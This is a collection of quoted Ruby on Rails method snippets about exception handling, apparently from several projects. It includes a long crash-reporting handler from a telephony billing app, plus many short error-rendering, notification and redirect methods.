"def my_rescue_action_in_public(exception)\n # MorLog.my_debug exception.to_yaml\n # MorLog.my_debug exception.backtrace.to_yaml\n time = Time.now()\n id = time.strftime(\"%Y%m%d%H%M%S\")\n address = '[email protected]'\n extra_info = \"\"\n swap = nil\n begin\n MorLog.my_debug(\"Rescuing exception: #{exception.class.to_s} controller: #{params[:controller].to_s}, action: #{params[:action].to_s}\", true)\n if important_exception(exception)\n MorLog.my_debug(\" >> Exception is important\", true)\n MorLog.log_exception(exception, id, params[:controller].to_s, params[:action].to_s) if params[:do_not_log_test_exception].to_i == 0\n\n trace = exception.backtrace.collect { |t| t.to_s }.join(\"\\n\")\n\n exception_class = escape_for_email(exception.class).to_s\n exception_class_previous = Confline.get_value(\"Last_Crash_Exception_Class\", 0).to_s\n exception_send_email = Confline.get_value(\"Exception_Send_Email\").to_i\n\n # Lots of duplication but this is due fact that in future there may be\n # need for separate link for every error.\n flash_help_link = nil\n\n\n if exception_class.include?(\"Net::SMTPFatalError\")\n flash_notice = _('smtp_server_error')\n flash_help_link = \"\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'smtp_server_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::ENETUNREACH\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_Errno::ENETUNREACH\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::EACCES\")\n flash_notice = _('File_permission_error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'File_permission_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Errno::EHOSTUNREACH\") or (exception_class.include?(\"Errno::ECONNREFUSED\") and trace.to_s.include?(\"rami.rb:380\"))\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"SystemExit\") or (exception_class.include?('RuntimeError') and (exception.message.include?('No route to host') or exception.message.include?('getaddrinfo: Name or service not known') or exception.message.include?('Connection refused')))\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?('RuntimeError') and (exception.message.include?('Connection timed out') or exception.message.include?('Invalid argument') or exception.message.include?('Connection reset by peer') or exception.message.include?('Network is unreachable') or exception.message.include?('exit'))\n flash_notice = _('Your_Asterisk_server_is_not_accessible_Please_check_if_address_entered_is_valid_and_network_is_OK')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"SocketError\") and !trace.to_s.include?(\"smtp_tls.rb\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n end\n if exception_class.include?(\"Errno::ETIMEDOUT\")\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Asterik_server_connection_error', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"OpenSSL::SSL::SSLError\") or exception_class.include?(\"OpenSSL::SSL\")\n flash_notice = _('Verify_mail_server_details_or_try_alternative_smtp_server')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'SMTP_connection_error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"ActiveRecord::RecordNotFound\")\n flash_notice = _('Data_not_found')\n flash_help_link = ''\n exception_send_email = 1\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Data_not_found', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"ActiveRecord::StatementInvalid\") and exception.message.include?('Access denied for user')\n flash_notice = _('MySQL_permission_problem_contact_Kolmisoft_to_solve_it')\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'MySQL_permission_problem', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Transactions::TransactionError\")\n flash_notice = _(\"Transaction_error\")\n swap = []\n swap << %x[vmstat]\n # swap << ActiveRecord::Base.connection.select_all(\"SHOW INNODB STATUS;\")\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Transaction_errors', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n if exception_class.include?(\"Errno::ENOENT\") and exception.message.include?('/tmp/mor_debug_backup.txt')\n flash_notice = _('Backup_file_not_found')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Backup_file_not_found', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"GoogleCheckoutError\") and exception.message.include?(\"No seller found with id\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n # database not updated\n if exception_class.include?(\"NoMethodError\") and !exception.message.include?(\"nil:NilClass\") and exception.message.include?(\"for #<\")\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n if exception_class.include? \"ActiveModel::MissingAttributeError\"\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n if exception_class.include?(\"ActiveRecord::StatementInvalid\") and exception.message.include?(\"Unknown column\")\n flash_notice = _('Database_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Database_Error', :data2 => exception.message).save\n end\n #\n\n if exception_class.include?(\"GoogleCheckoutError\") and exception.message.include?(\"The currency used in the cart must match the currency of the seller account.\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?(\"Missing URL component: expected id:\")\n flash_notice = _('Internal_Error_Contact_Administrator')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?('expected id: (\\d{10})|(\\d{15})')\n flash_notice = _(\"Payment_Error_Contact_Administrator_enter_merchant_id\")\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception_class.include?(\"Google4R\") and exception.message.include?('Seller Account') and exception.message.include?('is not active.')\n flash_notice = _(\"Payment_Error_Contact_Administrator_account_not_active\")\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Unexpected response code')\n flash_notice = _(\"Google_checkout_error\") + ': ' + exception.message.to_s #.gsub('Google Unexpected response code', 'Unexpected response code')\n flash_help_link = ''\n exception_send_email = 0\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('An API Certificate or API Signature is required to make requests to PayPal')\n flash_notice = _('An_API_Certificate_or_API_Signature_is_required_to_make_requests_to_PayPal')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Payment_Gateway_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Temporary failure in name resolution')\n flash_notice = _('DNS_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'DNS_Error', :data2 => exception.message).save\n end\n\n if exception.message.include?('Ambethia::ReCaptcha::Controller::RecaptchaError')\n flash_notice = _('ReCaptcha_Error')\n flash_help_link = ''\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'ReCaptcha_Error', :data2 => exception.message).save\n end\n\n #if exception_class.include?(\"Net::SMTP\") or (exception_class.include?(\"Errno::ECONNREFUSED\") and trace.to_s.include?(\"smtp_tls.rb\")) or (exception_class.include?(\"SocketError\") and trace.to_s.include?(\"smtp_tls.rb\")) or ((exception_class.include?(\"Timeout::Error\") and trace.to_s.include?(\"smtp.rb\"))) or trace.to_s.include?(\"smtp.rb\")\n flash_help_link = email_exceptions(exception) if flash_help_link.blank? and flash_notice.blank?\n #end\n\n if exception_class.include?(\"LoadError\") and exception.message.to_s.include?('locations or via rubygems.')\n if exception.message.include?('cairo')\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/Cannot_generate_PDF\"\n else\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_Ruby_Gems\"\n end\n Action.new(:user_id => session[:user_id].to_i, :date => Time.now.to_s(:db), :action => \"error\", :data => 'Ruby_gems_not_found', :data2 => exception.message).save\n exception_send_email = 0\n end\n\n # Specific case for acunetix security scanner\n if (exception.message.include?('invalid byte sequence in UTF-8') or exception.message.include?('{\"$acunetix\"=>\"1\"}')) and ['try_to_login', 'signup_end'].member?(params[:action])\n flash_notice = _('Internal_Error_Contact_Administrator')\n exception_send_email = 0\n end\n\n if exception_send_email == 1 and exception_class != exception_class_previous and !flash_help_link or params[:this_is_fake_exception].to_s == \"YES\"\n MorLog.my_debug(\" >> Need to send email\", true)\n\n if exception_class.include?(\"NoMemoryError\")\n extra_info = get_memory_info\n MorLog.my_debug(extra_info)\n end\n\n # Gather all exception\n rep, rev, status = get_svn_info\n rp = []\n (params.each { |k, v| rp << [\"#{k} => #{v}\"] })\n\n message = [\n \"ID: #{id.to_s}\",\n \"IP: #{request.env['SERVER_ADDR']}\",\n \"Class: #{exception_class}\",\n \"Message: #{exception}\",\n \"Controller: #{params[:controller]}\",\n \"Action: #{params[:action]}\",\n \"User ID: #{session ? session[:user_id].to_i : 'possible_from_api'}\",\n \"----------------------------------------\",\n \"Repositority: #{rep}\",\n \"Revision: [#{rev}]\",\n \"Local version modified: #{status}\",\n \"----------------------------------------\",\n\n \"Request params: \\n#{rp.join(\"\\n\")}\",\n \"----------------------------------------\",\n \"Seesion params: \\n#{nice_session if session}\",\n \"----------------------------------------\"\n ]\n if extra_info.length > 0\n message << \"----------------------------------------\"\n message << extra_info\n message << \"----------------------------------------\"\n end\n message << \"#{trace}\"\n\n if test_machine_active?\n if File.exists?('/var/log/mor/test_system')\n message << \"----------------------------------------\"\n message << %x[tail -n 50 /var/log/mor/test_system]\n end\n end\n\n if swap\n message << \"----------------------------------------\"\n message << swap.to_yaml\n end\n\n if exception_class.include?(\"Errno::EPERM\")\n message << \"----------------------------------------\"\n message << %x[ls -la /home/mor/tmp/]\n message << \"----------------------------------------\"\n message << %x[ls -la /home/mor/]\n end\n\n Confline.set_value(\"Last_Crash_Exception_Class\", exception_class, 0)\n\n if params[:this_is_fake_exception].to_s == \"YES\"\n MorLog.my_debug(' >> Crash email NOT sent THIS IS JUST TEST', true)\n return :text => flash_notice.to_s + flash_help_link.to_s + message.join(\"\\n\")\n #render :text => message.join(\"\\n\") and return false\n else\n\n subject = \"#{ExceptionNotifier_email_prefix} Exception. ID: #{id.to_s}\"\n time = Confline.get_value(\"Last_Crash_Exception_Time\", 0)\n if time and !time.blank? and (Time.now - Time.parse(time)) < 1.minute\n MorLog.my_debug(\"Crash email NOT sent : Time.now #{Time.now.to_s(:db)} - Last_Crash_Exception_Time #{time}\")\n else\n send_crash_email(address, subject, message.join(\"\\n\")) if params[:do_not_log_test_exception].to_i == 0\n Confline.set_value(\"Last_Crash_Exception_Time\", Time.now.to_s(:db), 0)\n MorLog.my_debug('Crash email sent')\n end\n end\n else\n MorLog.my_debug(\" >> Do not send email because:\", true)\n MorLog.my_debug(\" >> Email should not be sent. Confline::Exception_Send_Email: #{exception_send_email.to_s}\", true) if exception_send_email != 1\n MorLog.my_debug(\" >> The same exception twice. Last exception: #{exception_class.to_s}\", true) if exception_class == exception_class_previous\n MorLog.my_debug(\" >> Contained explanation. Flash: #{ flash_help_link}\", true) if flash_help_link\n end\n\n if !flash_help_link.blank?\n flash[:notice] = _('Something_is_wrong_please_consult_help_link')\n flash[:notice] += \"<a id='exception_info_link' href='#{flash_help_link}' target='_blank'><img alt='Help' src='#{Web_Dir}/assets/icons/help.png' title='#{_('Help')}' /></a>\".html_safe\n else\n flash[:notice] = flash_notice.to_s.blank? ? \"INTERNAL ERROR. - ID: #{id} - #{exception_class}\" : flash_notice\n end\n\n if session and session[:forgot_pasword] == 1\n session[:forgot_pasword] = 0\n flash[:notice_forgot]= (_('Cannot_change_password') + \"<br />\" + _('Email_not_sent_because_bad_system_configurations')).html_safe\n end\n\n if session and session[:flash_not_redirect].to_i == 0\n #redirect_to Web_Dir + \"/callc/main\" and return false\n else\n session[:flash_not_redirect] = 0 if session\n #render(:layout => \"layouts/mor_min\") and return false\n end\n end\n rescue Exception => e\n MorLog.log_exception(e, id, params[:controller].to_s, params[:action].to_s)\n message =\"Exception in exception at: #{escape_for_email(request.env['SERVER_ADDR'])} \\n --------------------------------------------------------------- \\n #{escape_for_email(%x[tail -n 50 /var/log/mor/test_system])}\"\n command = ApplicationController::send_email_dry(\"[email protected]\", address, message, \"#{ExceptionNotifier_email_prefix} SERIOUS EXCEPTION\", \"-o tls='auto'\")\n system(command)\n flash[:notice] = \"INTERNAL ERROR.\"\n #redirect_to Web_Dir + \"/callc/main\" and return false\n end\n end",
"def rescue_action(e); raise e; end",
"def rescue_action_locallyyyyyyyyyyyy(e)\n @exception = e\n log_exception(e)\n rescue_action_in_public(e)\n end",
"def exception\n\t\t@exception\n\tend",
"def server_error(exception)\n # Whatever code that handles the exception\n\n ExceptionNotifier.notify_exception(exception,\n :env => request.env, :data => {:message => \"was doing something wrong\"})\n end",
"def rescue_action_in_public(exception)\n\n resolve_common_session_errors\n\n # exceptions in views are wrapped by ActionView::TemplateError and will return 500 response\n # if we use the original_exception we may get a more meaningful response code e.g. 404 for ActiveRecord::RecordNotFound\n if exception.is_a?(ActionView::TemplateError) && defined?(exception.original_exception)\n response_code = response_code_for_rescue(exception.original_exception)\n else\n response_code = response_code_for_rescue(exception)\n end\n render_exception_response(exception, response_code)\n\n # Log to database\n if $ERROR_LOGGING && !$IGNORED_EXCEPTIONS.include?(exception.to_s)\n ErrorLog.create(\n :url => request.url,\n :ip_address => request.remote_ip,\n :user_agent => request.user_agent,\n :user_id => current_user.id,\n :exception_name => exception.to_s,\n :backtrace => \"Application Server: \" + $IP_ADDRESS_OF_SERVER + \"\\r\\n\" + exception.backtrace.to_s\n )\n end\n # Notify New Relic about exception\n NewRelic::Agent.notice_error(exception) if $PRODUCTION_MODE\n end",
"def rescue_action_locally(exception)\n rescue_action_in_public(exception)\n end",
"def rescue_action_locally_with_mole( exception )\n # Stuff the exception in the env for mole rack retrieval\n request.env['mole.exception'] = exception\n rescue_action_locally_without_mole( exception )\n end",
"def before_server_error(exception); end",
"def rescue_action_in_public(exception)\n # If the error class is NOT listed in the rails_error_class hash then we get a generic 500 error:\n # OTW if the error class is listed, but has a blank code or the code is == '200' then we get a custom error layout rendered\n # OTW the error class is listed!\n verbose = self.class.exception_notifiable_verbose && respond_to?(:logger) && !logger.nil?\n logger.info(\"[RESCUE STYLE] rescue_action_in_public\") if verbose\n status_code = status_code_for_exception(exception)\n if status_code == '200'\n notify_and_render_error_template(status_code, request, exception, ExceptionNotification::Notifier.get_view_path_for_class(exception, verbose), verbose)\n else\n notify_and_render_error_template(status_code, request, exception, ExceptionNotification::Notifier.get_view_path_for_status_code(status_code, verbose), verbose)\n end\n pass_it_on(exception, ENV, request, params, session, verbose)\n end",
"def internal_server_error\n @exception = env['action_dispatch.exception']\n #TODO: log exception information you want to log here\n # after removing it from the normal logging via lograge\n render status: 500\n end",
"def bypass_rescue\n if ::Rails::VERSION::STRING >= '2.2'\n def controller.rescue_action(exception)\n raise exception\n end\n else\n def controller.rescue_action_with_handler(exception)\n raise exception\n end\n end\n end",
"def catch(exception)\n exception_data = parse(exception)\n exception_data.controller_name = File.basename($0)\n post(exception_data)\n end",
"def send_error_email exception\n begin\n data = {\n path: request.path,\n current_user: current_user.try(:email),\n referer: request.referer,\n params: params,\n exception: exception.inspect,\n user_agent: request.user_agent,\n http_accept: request.env['HTTP_ACCEPT'],\n ip: request.ip,\n backtrace: exception.backtrace\n }\n\n if Rails.env.production?\n DebugEmailWorker.perform_async({\n from: '[email protected]',\n to: '[email protected]',\n subject: \"[#{ENV['RACK_ENV']}] EndRun Exception\",\n text_body: JSON.pretty_generate(data)\n })\n end\n rescue\n logger.error \"Error while reporting error! Not reported! #{$!.inspect}\" # this happens if the API call fails.\n end\n\n raise # reraise the initial error\n end",
"def exception\n request.env['action_dispatch.exception']\n end",
"def handle_public_exception(exception)\n render :template => 'testing/error_page.html'\n end",
"def exception_occured(exception)\n @exception = exception\n mail subject: \"Exception Occured During Running\"\n end",
"def exception_handler; end",
"def exceptions_app; end",
"def exceptions_app; end",
"def rescue_action_in_public(exception) #:doc:\n render_optional_error_file response_code_for_rescue(exception)\n end",
"def rescue_action_in_public(exception) #:doc:\n render_optional_error_file response_code_for_rescue(exception)\n end",
"def rescue_action_in_public_with_errornot(exception)\n unless errornot_ignore_user_agent?\n ErrornotNotifier.notify_or_ignore(exception, errornot_request_data)\n end\n rescue_action_in_public_without_errornot(exception)\n end",
"def respond_with_exception(exception = nil)\n msg = exception ? exception.message : \"Internal Server Error\"\n render partial: \"api/error\", locals: { message: msg, error_code: \"exception\" }, status: 500\n return false\n end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def rescue_action_in_public(exception)\n case exception\n when ActiveRecord::RecordNotFound, ActionController::UnknownAction\n render(:file => \"#{Rails.root}/public/404.html\", :status => \"404 Not Found\")\n else\n render(:file => \"#{Rails.root}/public/500.html\", :status => \"500 Error\")\n SystemMailer.deliver_exception_notification(self, request, exception)\n end\n end",
"def rescue_action_in_public(exception)\n case exception\n when CustomNotFoundError, ::ActionController::UnknownAction then\n #render_with_layout \"shared/error404\", 404, \"standard\"\n render :template => \"errors/404\", :status => 404\n else\n #@reference = Xircles::Logger.log( exception, binding )\n render :template => 'errors/generic', :status => 500\n end\n end",
"def rescue_action(exception)\n @message = exception.message\n @backtrace = exception.backtrace.join(\"\\n\") unless exception.nil?\n logger.info @message\n logger.info @backtrace\n render :file => \"#{RAILS_ROOT}/app/views/errors/error.rhtml\", :layout=> false, :status => 404\n end",
"def rescue_action_in_public(exception)\n case exception\n when ::ActionController::RoutingError, ::ActionController::MissingTemplate\n render_404\n when ::SystemExit\n logger.error \"SystemExit caught in ApplicationController: #{exception.message}\\n\" + exception.backtrace.join(\"\\n\")\n # No point trying to render anything, we're being killed off\n when ::ActionView::TemplateError\n if exception.message.match('SystemExit') != nil\n logger.error \"TemplateError SystemExit caught in ApplicationController: #{exception.message}\\n\" + exception.backtrace.join(\"\\n\")\n # No point trying to render anything, we're being killed off\n elsif exception.backtrace.join('').match('exit_now_handler') != nil\n logger.error \"TemplateError exit caught in ApplicationController: #{exception.message}\\n\" + exception.backtrace.join(\"\\n\")\n # No point trying to render anything, we're being killed off\n else\n return super\n end\n else\n return super\n end\n end",
"def exception\n raise \"It's a bad one!\"\n end",
"def pass_exception\n throw :next_exception_handler\n end",
"def exceptions\n end",
"def dispatch_exception(request, response, exception)\n klass = Exceptions rescue Controller\n request.params[:original_params] = request.params.dup rescue {}\n request.params[:original_session] = request.session.dup rescue {}\n request.params[:original_cookies] = request.cookies.dup rescue {}\n request.params[:exception] = exception\n request.params[:action] = exception.name\n dispatch_action(klass, exception.name, request, response, exception.class::STATUS)\n rescue => dispatch_issue\n dispatch_issue = controller_exception(dispatch_issue) \n # when no action/template exist for an exception, or an\n # exception occurs on an InternalServerError the message is\n # rendered as simple text.\n # ControllerExceptions raised from exception actions are \n # dispatched back into the Exceptions controller\n if dispatch_issue.is_a?(ControllerExceptions::NotFound)\n dispatch_default_exception(klass, request, response, exception)\n elsif dispatch_issue.is_a?(ControllerExceptions::InternalServerError)\n dispatch_default_exception(klass, request, response, dispatch_issue)\n else\n exception = dispatch_issue\n retry\n end\n end",
"def error_render_method(exception)\n path = request.path\n UserMailer.generic_email(\"[email protected]\",\n exception, exception.backtrace.join(\"\\n\")).deliver\n if path.include? \"developers/\"\n if !path.include? \"developers/projects\"\n redirect_to projects_path, flash: { error: t(:exception) }\n return\n end\n end\n redirect_to root_path, flash: { error: t(:exception) }\n end",
"def rescue_action_in_public(exception)\n # Make sure expiry time for session is set (before_filters are\n # otherwise missed by this override) \n session_remember_me\n\n # Display user appropriate error message\n @exception_backtrace = exception.backtrace.join(\"\\n\")\n @exception_class = exception.class.to_s\n render :template => \"general/exception_caught.rhtml\", :status => 404\n end",
"def raise_exc\n raise\n rescue\n end",
"def handle_candlepin_server_error ex\n log_exception(ex)\n errors _(\"An error has occurred in the Entitlement Server.\")\n redirect_back\n end",
"def access_denied(exception)\n \t\tredirect_to root_path, alert: exception.message\n\t end",
"def rescue_with_handler(exception)\n\t\tif current_user and current_user.is_administrator?\n\t\t\treturn\n\t\t\t@exception = exception\n\t\tend\n\t\t\n\t\tif current_user\n\t\t\trender template: \"errors/500\"\n\t\telse\n\t\t\trender template: \"errors/500\", layout:\"login\"\n\t\tend\n\tend",
"def handle_exception(exception, request, response)\n response.flush\n response.status = 500\n\n if config.development?\n response.content_type = \"text/html\"\n response.puts(Rack::ShowExceptions.new(nil).pretty(request.env, exception))\n else\n response.layout = \"layouts/exception\" if Harbor::View.exists?(\"layouts/exception\")\n\n if Harbor::View.exists?(\"exceptions/500.html.erb\")\n response.render \"exceptions/500.html.erb\", :exception => exception\n else\n response.puts \"We're sorry, but something went wrong.\"\n end\n end\n\n raise_event(:exception, Events::ServerErrorEvent.new(request, response, exception))\n end",
"def access_denied(exception)\n redirect_to root_path, alert: exception.message\n end",
"def error!(message, status=403)\n throw :error, :message => message, :status => status\n end",
"def handle_request_error(exception)\n end",
"def internal_server_error(exception = nil)\n error_rendering exception, __callee__\n end",
"def throw_unauthorized_page(exception = nil)\n dispatch_error_email(exception)\n if current_user\n flash[:error] = I18n.t('title.page_not_authorized')\n redirect_to NavigationHistory.new(request, session).back(1)\n else\n flash[:error] = I18n.t('title.page_not_authorized_login')\n NavigationHistory.new(request, session).store(:current, :force)\n redirect_to new_user_session_path\n end\n end",
"def raise(exception); end",
"def render_error(exception)\n Bugsnag.notify(exception)\n render template: 'errors/internal_server_error', status: :not_found\n end",
"def access_denied(exception)\n \t\tredirect_to root_path, :alert => exception.message\t\n \tend",
"def unavailable! redirect = root_path\n raise Exceptional::NotAllowed.new(\"Sorry, I was unable to perform the action you requested!\")\n end",
"def dispatch_default_exception(klass, request, response, e)\n controller = klass.build(request, response, e.class::STATUS)\n if e.is_a? ControllerExceptions::Redirection\n controller.headers.merge!('Location' => e.message)\n controller.instance_variable_set(\"@_body\", %{ }) #fix\n else\n @exception = e # for ERB\n controller.instance_variable_set(\"@_body\", DEFAULT_ERROR_TEMPLATE.result(binding))\n end\n [controller, e.name]\n end",
"def exception\n @context[:exception]\n end",
"def handle_exception(e)\n if e.flags.has_key?(:layout) then\n @_layout = e.flags[:layout]\n end\n\n if e.flags.has_key?(:no_after_filters) then\n @_stop_no_after_filters = true\n end\n\n if e.flags.has_key?(:redirect) then\n @_layout = false\n to = e.flags[:redirect]\n clear\n @_content = \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0 Transitional//EN\\\"><html><head><title>Redirecting...</title><meta http-equiv=\\\"REFRESH\\\" content=\\\"0;url=#{to}\\\"></HEAD></HTML>\"\n @cancel_execution = true\n end\n\n if e.flags.has_key?(:error) then\n @_layout = false\n http_status \"SERVER_ERROR\"\n clear\n @error_message = e.flags[:error]\n @cancel_execution = true\n trace = ''\n if Cuca::App.config['display_errors'] then\n e.backtrace.each do |b|\n trace<< \"<br/>#{b}\"\n end\n end\n mab { html { body { h2 \"Error\"; text @error_message; br; text trace }}}\n end\n \n if e.flags.has_key?(:cancel_execution) then\n @cancel_execution = true\n end\n end",
"def rescue_action(exception)\n log_error(exception) unless logger.nil?\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end",
"def rescue_action(exception)\n log_error(exception) unless logger.nil?\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end",
"def rescue_action(exception)\n if handler_for_rescue(exception)\n rescue_action_with_handler(exception)\n else\n log_error(exception) if logger\n erase_results if performed?\n\n # Let the exception alter the response if it wants.\n # For example, MethodNotAllowed sets the Allow header.\n if exception.respond_to?(:handle_response!)\n exception.handle_response!(response)\n end\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end\n end",
"def rescue_action_in_public exception\n case exception\n when Hobo::PermissionDeniedError \n redirect_to :controller => :front, :action => :index\n else\n # **TODO Fix to the \"when\" to catch the correct exception;\n # in the meantime, catch every exception\n redirect_to :controller => :front, :action => :index\n end\n end",
"def rescue_from(exception); end",
"def abort_on_exception(*) end",
"def exception_handler(ex)\n \nend",
"def render_not_found(exception)\n # Render detailed diagnostics for unhandled exceptions rescued from\n # a controller action.\n rescue_action_locally(exception)\n end",
"def handle_exception(exception)\n end",
"def process_action(*args)\n super\n rescue Exception => exception\n raise if RocketPants.pass_through_errors?\n # Otherwise, use the default built in handler.\n logger.error \"Exception occured: #{exception.class.name} - #{exception.message}\"\n logger.error \"Exception backtrace:\"\n exception.backtrace[0, 10].each do |backtrace_line|\n logger.error \"=> #{backtrace_line}\"\n end\n exception_notifier_callback.call(self, exception, request)\n render_error exception\n end",
"def rescue_action_locally(exception)\n add_variables_to_assigns\n @template.instance_variable_set(\"@exception\", exception)\n @template.instance_variable_set(\"@rescues_path\", File.dirname(rescues_path(\"stub\")))\n @template.send!(:assign_variables_from_controller)\n\n @template.instance_variable_set(\"@contents\", @template.render(:file => template_path_for_local_rescue(exception)))\n\n response.content_type = Mime::HTML\n render_for_file(rescues_path(\"layout\"), response_code_for_rescue(exception))\n end",
"def rescue_action_locally(request, exception)\n template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],\n :request => request,\n :exception => exception,\n :application_trace => application_trace(exception),\n :framework_trace => framework_trace(exception),\n :full_trace => full_trace(exception)\n )\n file = \"rescues/#{@@rescue_templates[exception.class.name]}.erb\"\n body = template.render(:file => file, :layout => 'rescues/layout.erb')\n render(status_code(exception), body)\n end",
"def send_error(exception)\n @greeting = \"Hi\"\n @e = exception\n\n mail to: \"[email protected]\"\n end",
"def exception(command, exception)\n end",
"def bad_request\n #redirect_to \"#{Rails.root}/public/400.html\"\n raise ActionController::RoutingError.new('Bad Request')\n end",
"def abort_on_exception=(*) end",
"def access_denied(exception)\n redirect_to admin_organizations_path, alert: exception.message\n end",
"def show\n @exception = ExceptionHandler::Exception.new request #-> Service Object\n render status: @exception.status #-> Show apppropriate response\n end",
"def internal_server_error\r\n redirect_to(request.referrer || root_path, alert: 'Internal Server Error', status: 500)\r\n end",
"def model_exception(e)\n\t puts e\n\tend",
"def rescue_action_in_public(exception)\n logger.error exception\n\n case exception\n when ActiveRecord::RecordNotFound, ActionController::RoutingError, ActionController::UnknownAction\n error_404\n when SecurityError\n error_403\n else\n error_500\n end\n end",
"def admin_access_denied(exception)\n redirect_to root_path, alert: exception.message\n end",
"def cancan_exception_handling\n insert_into_controller :application, :after => \"ActionController::Base\\n\" do\n %{\n rescue_from CanCan::AccessDenied do |exception|\n flash[:error] = exception.message\n redirect_to root_url\n end\n }\n end\n end",
"def report_error(exception, params = {}, &block)\n # TODO: log to Rails log\n notify_airbrake(exception, params, &block)\n end",
